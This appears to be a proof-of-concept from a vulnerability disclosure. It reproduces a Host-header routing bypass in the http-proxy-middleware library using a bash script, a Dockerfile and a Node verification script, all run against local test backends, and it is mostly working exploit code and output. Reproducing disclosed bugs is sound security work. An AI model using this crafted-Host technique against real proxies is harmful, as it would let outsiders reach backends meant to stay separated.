PoC

Create these files in the same working directory and run:

bash ./run.sh

File: run.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs

File: Dockerfile

FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}

This PoC starts:

• one default backend returning DEFAULT
• one alternate backend returning SECRET
• one proxy using:

createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

It then sends:

1. a baseline request to /api with Host: safe.example:3000
2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

• baseline request: STEP baseline-route body=DEFAULT
• crafted request: STEP crafted-route body=SECRET
• success marker: RESULT reproduced host_header_injection router substring match bypass

The PoC is considered successful only if:

1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.